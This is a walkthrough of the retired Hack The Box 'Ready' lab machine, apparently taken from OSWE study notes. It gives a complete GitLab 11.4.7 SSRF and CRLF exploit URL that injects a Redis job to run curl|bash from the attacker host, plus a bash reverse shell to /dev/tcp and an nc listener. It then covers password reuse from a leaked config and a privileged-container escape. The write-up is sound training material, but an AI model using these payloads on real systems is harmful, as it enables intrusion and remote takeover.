Hack The Box
Hack The Box: Ready Walkthrough
An archived walkthrough of the retired Hack The Box Ready machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Difficulty: Medium
OS: Linux (Ubuntu 20.04 host + Docker container)
Attacker IP: 10.10.16.84
Target IP: 10.129.227.132
Flags: User + Root
The Hacker Mindset
Before a single command is run, understand the goal: find a way in, escalate privilege, own the machine. Every step is a question — what is running here? is it old? is it misconfigured? what can I abuse? You are always asking "what does this give me?" and "what does this open up next?"
Phase 1 — Reconnaissance
What is recon and why do we do it?
Reconnaissance means "find out what's there before you attack it." You can't exploit what you don't know exists. The very first thing any attacker does is map the target's attack surface — which ports are open, what services are running, what versions those services are. Version numbers are gold because old software has known public vulnerabilities.
The Command
nmap -p- --min-rate 10000 -sCV -oA ready_scan 10.129.227.132
Breaking this down:
-p-— scan all 65535 ports, not just the top 1000. Hidden services often live on high ports.--min-rate 10000— send at least 10,000 packets per second. Faster scan, acceptable in a CTF environment.-sCV—-sCruns default scripts (banner grabbing, HTTP titles, etc.),-sVdetects service versions.-oA ready_scan— save output in all formats (nmap, grepable, XML) for later reference.10.129.227.132— the target.
Results
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4
5080/tcp open http nginx — GitLab Sign in
Hacker Mindset
Two ports. SSH is almost never the entry point — you need credentials first. HTTP on a non-standard port (5080 instead of 80) is immediately interesting. The nmap script already told us it's GitLab. The question becomes: what version, and is it vulnerable?
Phase 2 — Service Enumeration
Visiting the Web Application
Open http://10.129.227.132:5080 in a browser. You're greeted with a GitLab login page.
Why register an account?
GitLab is a self-hosted git platform. Many instances allow open registration. Once logged in, the Help page reveals the exact GitLab version — critical information because GitLab has had serious CVEs in various versions.
After registering and logging in, navigate to Help (top-right avatar menu → Help). The page shows:
GitLab Community Edition 11.4.7
And crucially, a red warning: "Update ASAP"
Hacker Mindset
Version 11.4.7. That's from 2018. Immediately search your memory or Google: "GitLab 11.4.7 CVE". You'll find two related vulnerabilities that chain together for Remote Code Execution (RCE). This is the fundamental skill of a hacker — knowing that old software = known bugs = public exploits.
Phase 3 — Understanding the Exploit Chain
CVE-2018-19571 — Server-Side Request Forgery (SSRF)
What is SSRF?
SSRF (Server-Side Request Forgery) is when you trick a server into making HTTP/network requests on your behalf. The server becomes your proxy. This is powerful because the server can reach internal services that you, as an outside attacker, cannot.
How does it work in GitLab 11.4.7?
GitLab has a feature: "Import project from URL." You give it a git URL and GitLab's backend server fetches it. GitLab tried to block this being abused by blacklisting 127.0.0.1 and localhost. But it forgot to block IPv6 representations of localhost.
http://[0:0:0:0:0:ffff:127.0.0.1] is a valid IPv6-mapped IPv4 address for 127.0.0.1. The blacklist check fails, and GitLab happily connects to its own internal services.
Why do we target Redis on port 6379?
GitLab uses Redis internally as a job queue. Redis by default has no authentication and listens on localhost — it was never meant to be exposed. If we can talk to Redis, we can push fake jobs into GitLab's job queue. GitLab workers will pick up those jobs and execute them.
CVE-2018-19585 — CRLF Injection
What is CRLF Injection?
HTTP and many protocols use \r\n (Carriage Return + Line Feed) to separate lines/commands. If an attacker can inject \r\n into a URL or header, they can add extra lines — effectively injecting new commands into the protocol stream.
How does it work here?
When GitLab connects to the URL using the git:// protocol, the URL path becomes the command sent to the remote service. By URL-encoding \r\n as %0D%0A, we can inject newlines into what GitLab sends to Redis. Instead of Redis receiving one garbled git request, it receives multiple valid Redis commands.
The Chain Together
Attacker → GitLab import URL → GitLab backend fetches git://[IPv6-localhost]:6379/
↓
CRLF-injected Redis commands in URL
↓
Redis receives: MULTI, SADD, LPUSH (job payload), EXEC
↓
GitLab worker picks up job → executes shell command
↓
Reverse shell connects back to attacker
Phase 4 — Crafting and Delivering the Exploit
Prepare the Reverse Shell Script
echo '#!/bin/bash' > /tmp/shell.sh
echo 'bash -i >& /dev/tcp/10.10.16.84/443 0>&1' >> /tmp/shell.sh
Why a separate shell script?
The Redis command payload has limited space and special characters need heavy URL-encoding. A clean approach is to have GitLab's server curl a shell script from our machine and pipe it to bash. Simpler payload, easier to debug, and avoids encoding nightmares.
What does the shell.sh do?bash -i >& /dev/tcp/10.10.16.84/443 0>&1 — bash opens a TCP connection to our IP on port 443 and redirects stdin/stdout/stderr through it. This is a standard bash reverse shell. Port 443 (HTTPS) is chosen because firewalls rarely block outbound 443.
Start the HTTP Server
cd /tmp && python3 -m http.server 80
This serves shell.sh over HTTP. When our payload tells the GitLab server to curl http://10.10.16.84/shell.sh, it fetches it from here.
Start the Netcat Listener
nc -lnvp 443
-l— listen mode-n— no DNS resolution (faster)-v— verbose (show connection info)-p 443— listen on port 443
This is waiting to catch the reverse shell when it connects back.
The Exploit URL
In GitLab: New Project → Import Project → Repo by URL, paste:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open%28%5C%27%7Ccurl%20http%3A%2F%2F10.10.16.84%2Fshell.sh%7Cbash%5C%27%29.read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0D%0A%20exec%0D%0A/ssrf.git
Decoding what this URL does:
| URL-encoded part | Decoded | Meaning |
|---|---|---|
%0D%0A |
\r\n |
New line in Redis protocol |
%20 |
(space) |
Leading space (Redis requires it) |
multi |
MULTI |
Start Redis transaction |
sadd resque:gitlab:queues system_hook_push |
add to queue list | Register our fake queue |
lpush resque:gitlab:queue:system_hook_push {...} |
push job | Enqueue fake GitlabShellWorker job |
exec |
EXEC |
Commit the Redis transaction |
The job payload tells GitLab's Ruby worker to run class_eval → open('|curl http://10.10.16.84/shell.sh|bash').read — which executes our shell script.
Result
connect to [10.10.16.84] from (UNKNOWN) [10.129.227.132] 39540
git@gitlab:~/gitlab-rails/working$
We have a shell as the git user inside a Docker container.
Phase 5 — Shell Upgrade
Why Upgrade the Shell?
The raw netcat shell is a "dumb" terminal — no tab completion, Ctrl+C kills your shell instead of the running process, and many programs won't work properly. Upgrading to a proper PTY (pseudo-terminal) fixes all this.
python3 -c 'import pty;pty.spawn("bash")'
Then press Ctrl+Z (background the netcat process), run:
stty raw -echo; fg
Then hit Enter twice and:
export TERM=xterm
Now you have a fully interactive shell.
Phase 6 — User Flag
cat /home/dude/user.txt
db9cd69[redacted]ff977fc1
The user flag is in /home/dude/ — a hint that a user named "dude" exists on the system (or in this container). Always check /home/ immediately after gaining a shell.
Phase 7 — Container Enumeration and Privilege Escalation
Are We in a Container?
Several signs tell you you're in a Docker container:
/.dockerenvfile exists- Very minimal tooling (no
ip, noifconfig) - Hostname looks like a random hash
- Network interfaces show Docker bridge addresses
Finding the Password
cat /opt/backup/gitlab.rb | grep -v "^#" | grep .
Why this command?gitlab.rb is GitLab's main configuration file. It's 1000+ lines but almost all of them are comments (start with #). The flags:
grep -v "^#"— remove comment linesgrep .— remove blank lines
This instantly surfaces the only active configuration line:
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
Hacker Mindset
Configuration files left in backup directories are a goldmine. Developers often store credentials in config files. The /opt/backup/ directory shouldn't exist in a production container — this is a misconfiguration. Always ls /opt, ls /var, check for backup/config/secret files.
Escalating to Root in Container
su -
Password: null
root@gitlab:~# id
uid=0(root) gid=0(root) groups=0(root)
The SMTP password was reused as the root password. Password reuse is one of the most common real-world vulnerabilities. Always try credentials you find across every service and account on the machine.
Phase 8 — Container Escape
We're Root — But in a Container
Root inside a container is not root on the host. The container is isolated. The flags we want are on the real host OS. We need to escape.
Reading docker-compose.yml
cat /opt/backup/docker-compose.yml
The critical line:
privileged: true
What does privileged: true mean?
A privileged Docker container has almost all Linux capabilities granted. Most importantly, it can access host devices — including block devices (hard drives). This is a massive security misconfiguration. It essentially means the container has hardware-level access to the host.
Enumerating the Host Disk
lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 10G 0 disk
|-sda2 8:2 0 9.5G 0 part /var/log/gitlab
|-sda3 8:3 0 512M 0 part [SWAP]
`-sda1 8:1 0 1M 0 part
lsblk lists block devices. sda2 is the main Linux partition (it's already mounted inside the container at /var/log/gitlab for log persistence). sda2 contains the host's root filesystem.
Mounting the Host Filesystem
mkdir /mnt/host
mount /dev/sda2 /mnt/host
Because we're root in a privileged container, we can mount the host's block device directly. This gives us read/write access to the entire host filesystem — as if we were physically sitting at the machine with a live USB.
cat /mnt/host/root/root.txt
368efd[redacted]74f87e9f
Root flag obtained.
Hacker Mindset
privileged: true in Docker is essentially saying "this container is the same as the host." It's a well-known Docker escape vector. In real penetration testing, finding this in a docker-compose or Kubernetes pod spec is an instant critical finding. The container boundary provides zero security at this point.
Full Attack Summary
[Recon]
nmap → ports 22 (SSH), 5080 (GitLab 11.4.7)
[Foothold]
Register GitLab account
↓
Import project with SSRF+CRLF payload
CVE-2018-19571: IPv6 bypass of localhost block → reach Redis
CVE-2018-19585: CRLF injection → inject Redis commands into URL
↓
Redis job queue → GitlabShellWorker executes curl|bash
↓
Reverse shell as git (uid=998) inside Docker container
[User Flag]
/home/dude/user.txt → db9cd6[redacted]2ff977fc1
[Container PrivEsc]
/opt/backup/gitlab.rb → smtp_password = "wW59U!ZKMbG9+*#h"
su - → root@gitlab (uid=0) — password reuse
[Container Escape]
/opt/backup/docker-compose.yml → privileged: true
lsblk → /dev/sda2 is host root partition
mount /dev/sda2 /mnt/host → host filesystem accessible
[Root Flag]
/mnt/host/root/root.txt → 368efd[redacted]74f87e9f
Key Lessons
| Lesson | Takeaway |
|---|---|
| Version numbers matter | GitLab 11.4.7 from 2018 had two public CVEs. Always check versions. |
| SSRF bypasses trust boundaries | A server making requests on your behalf can reach internal services you can't. |
| IPv6 bypasses IPv4 blocklists | If a blocklist only checks 127.0.0.1, try [::1] or IPv6-mapped addresses. |
| CRLF = protocol injection | Newlines in user input that reach protocol commands = injected commands. |
| Config files leak secrets | /opt/backup/gitlab.rb had a plaintext password. Always grep configs. |
| Password reuse is everywhere | SMTP password = REDACTED password. Try every credential everywhere. |
| Privileged containers = host access | privileged: true in Docker nullifies all container isolation. |
| Backup directories are dangerous | /opt/backup/ contained the full config, secrets, and deployment info. |